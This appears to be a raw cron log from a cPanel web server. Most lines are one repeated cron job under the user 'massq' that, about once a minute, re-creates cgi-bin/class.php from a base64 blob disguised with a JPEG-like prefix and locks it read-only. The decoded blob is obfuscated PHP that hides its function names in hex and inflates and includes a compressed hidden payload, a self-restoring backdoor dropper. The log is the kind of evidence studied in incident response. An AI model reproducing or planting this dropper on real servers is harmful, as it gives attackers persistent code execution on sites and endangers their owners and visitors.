Nov  9 04:21:01 server CROND[17918]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:22:01 server CROND[18567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:23:01 server CROND[19148]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:24:02 server CROND[19958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:25:01 server CROND[20753]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:25:01 server CROND[20754]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:25:01 server CROND[20756]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:25:01 server CROND[20755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:26:01 server CROND[21727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:27:01 server CROND[22206]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 04:27:01 server CROND[22207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:28:01 server CROND[23018]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:29:01 server CROND[23820]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:30:01 server CROND[24658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 04:30:01 server CROND[24661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:30:01 server CROND[24663]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov  9 04:30:01 server CROND[24666]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Nov  9 04:30:01 server CROND[24664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:30:01 server CROND[24665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:31:01 server CROND[25629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:32:01 server CROND[26455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:33:01 server CROND[27261]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
